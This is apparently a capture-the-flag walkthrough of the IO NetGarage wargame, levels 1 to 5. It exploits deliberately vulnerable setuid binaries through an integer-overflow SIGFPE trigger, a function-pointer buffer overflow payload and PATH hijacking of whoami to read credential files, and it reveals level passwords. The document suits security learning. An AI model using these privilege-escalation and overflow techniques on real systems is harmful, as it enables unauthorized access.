IO NetGarage 2
SSH Access:
ssh -p 2224 level1@io.netgarage.org
level 1
❮ ssh -p 2224 level1@io.netgarage.org
Just read the ~/README, challenges are in /levels
level1@io:/levels$ ls -ltra level01
-r-sr-x--- 1 level2 level1 1184 Jan 13 2014 level01
level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter: 123
Checking the asm code:
level1@io:/levels$ objdump -d level01
level01: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 68 28 91 04 08 push $0x8049128
8048085: e8 85 00 00 00 call 804810f <puts>
804808a: e8 10 00 00 00 call 804809f <fscanf>
804808f: 3d 0f 01 00 00 cmp $0x10f,%eax
8048094: 0f 84 42 00 00 00 je 80480dc <YouWin>
804809a: e8 64 00 00 00 call 8048103 <exit>
Notice the cmp $0x10f,%eax
, a comparision is being made there. 0x10f
is the response.
>>> int("0x10f", 16)
271
Finding the flag:
level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter: 271
Congrats you found it, now read the password for level2 from /home/level2/.pass
sh-4.3$ cat .pass
sh-4.3$ whoami
level2
sh-4.3$ cat /home/level2/.pass
XNWFtWKWHhaaXoKI
level 2
ssh -p 2224 level2@io.netgarage.org
Checking files
level2@io:/levels$ find /levels -group level2
/levels/level02_alt.c
/levels/level02.c
find: ‘/levels/beta’: Permission denied
/levels/level02
/levels/level02_alt
level2@io:/levels$ /levels/level02
source code is available in level02.c
level2@io:/levels$ cat level02.c
//a little fun brought to you by bla
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf("WIN!\n");
system("/bin/sh");
exit(0);
}
int main(int argc, char **argv)
{
puts("source code is available in level02.c\n");
if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}
As the file level02
also belgons the user level03
it means if we can pop /bin/sh
then we will become level03
user.
level2@io:/levels$ ls -ltra level02
-r-sr-x--- 1 level3 level2 5329 Oct 4 2011 level02
From the C code we need to trigger a SIGFPE exception so it will call the catcher()
function.
From wikipedia:
SIGFPE. The SIGFPE signal is sent to a process when it executes an erroneous arithmetic operation, such as division by zero.
The abs()
function works only with intenger numbers, which means if we manage to make abs() fail overflowing its value the we will be executing the catcher()
function.
Lowest intenger value:
❯ echo "-2^31" | bc
-2147483648
level2@io:/levels$ ./level02 "-2147483648" "-1"
source code is available in level02.c
WIN!
sh-4.3$
sh-4.3$ whoami
level3
sh-4.3$ cat /home/level3/.pass
OlhCmdZKbuzqngfz
level 3
level3@io:~$ /levels/level03
level3@io:~$ cat /levels/level03.c
//bla, based on work by beach
#include <stdio.h>
#include <string.h>
void good()
{
puts("Win.");
execl("/bin/sh", "sh", NULL);
}
void bad()
{
printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}
int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];
if(argc != 2 || strlen(argv[1]) < 4)
return 0;
memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);
printf("This is exciting we're going to %p\n", functionpointer);
functionpointer();
return 0;
}
Similar situation than previous one but different C challenge.
So we already know that we want to execute the good()
function which is going to give us a /bin/sh
.
level3@io:~$ /levels/level03 1234
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474
Ok, we have to buffer overflow this.
❯ ./pattern_create.rb -l 80
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
From GDB:
gdb$ run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
Starting program: /levels/level03 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
...
Breakpoint 1, 0x080484c8 in main ()
gdb$ c
Continuing.
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474
...
Breakpoint 1, 0x080484c8 in main ()
gdb$ c
Continuing.
This is exciting we're going to 0x63413563
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x63413563 EBX: 0x00000000 ECX: 0x7FFFFFD5 EDX: 0xB7FC3870 o d I t S z a P c
ESI: 0x00000002 EDI: 0xB7FC2000 EBP: 0xBFFFFC28 ESP: 0xBFFFFBAC EIP: 0x63413563
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x63413563
0x63413563 in ?? ()
Calculating the exact offset:
❯ ./pattern_offset.rb -l 80 -q 0x63413563
[*] Exact match at offset 76
And finally…
level3@io:~$ /levels/level03 $(python -c 'print "A"*76 + "\x74\x84\x04\x08"')
This is exciting we're going to 0x8048474
Win.
sh-4.3$ whoami
level4
sh-4.3$ cat /home/level4/.pass
7WhHa5HWMNRAYl9T
level 4
level4@io:~$ /levels/level04
Welcome level5
level4@io:~$ cat /levels/level04.c
//writen by bla
#include <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);
return 0;
}
At the begining I tought I could overflow username
on the fgets()
function, but later I have realized that the popen
is a Linux syscall which pipes a command line execution and by passing the argument r
it is reading from the child process. Arg w
does the opposite. All I have to do is to fake the whoami
bin.
level4@io:~$ mkdir /tmp/nohere && cd /tmp/nohere
level4@io:/tmp/nohere$ vim whoami
level4@io:/tmp/nohere$ chmod +x whoami
level4@io:/tmp/nohere$ cat whoami
#!/bin/sh
cat /home/level5/.pass
level4@io:/tmp/nohere$ whoami
level4
level4@io:/tmp/nohere$ echo $PATH
/usr/local/radare/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
level4@io:/tmp/nohere$ export PATH=/tmp/nohere:$PATH
level4@io:/tmp/nohere$ whoami
cat: /home/level5/.pass: Permission denied
level4@io:/tmp/nohere$ /levels/level04
Welcome DNLM3Vu0mZfX0pDd
level 5
level5@io:~$ cat /levels/level05.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
level5@io:~$ ls -ltra /levels/level05
-r-sr-x--- 1 level6 level5 7140 Nov 16 2007 /levels/level05
This one has to be overflowed and it seems that we will need a pop a shell which will belong to level6
user.
Segmentation fault found:
level5@io:~$ /levels/level05 $(python -c 'print "A"*141')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault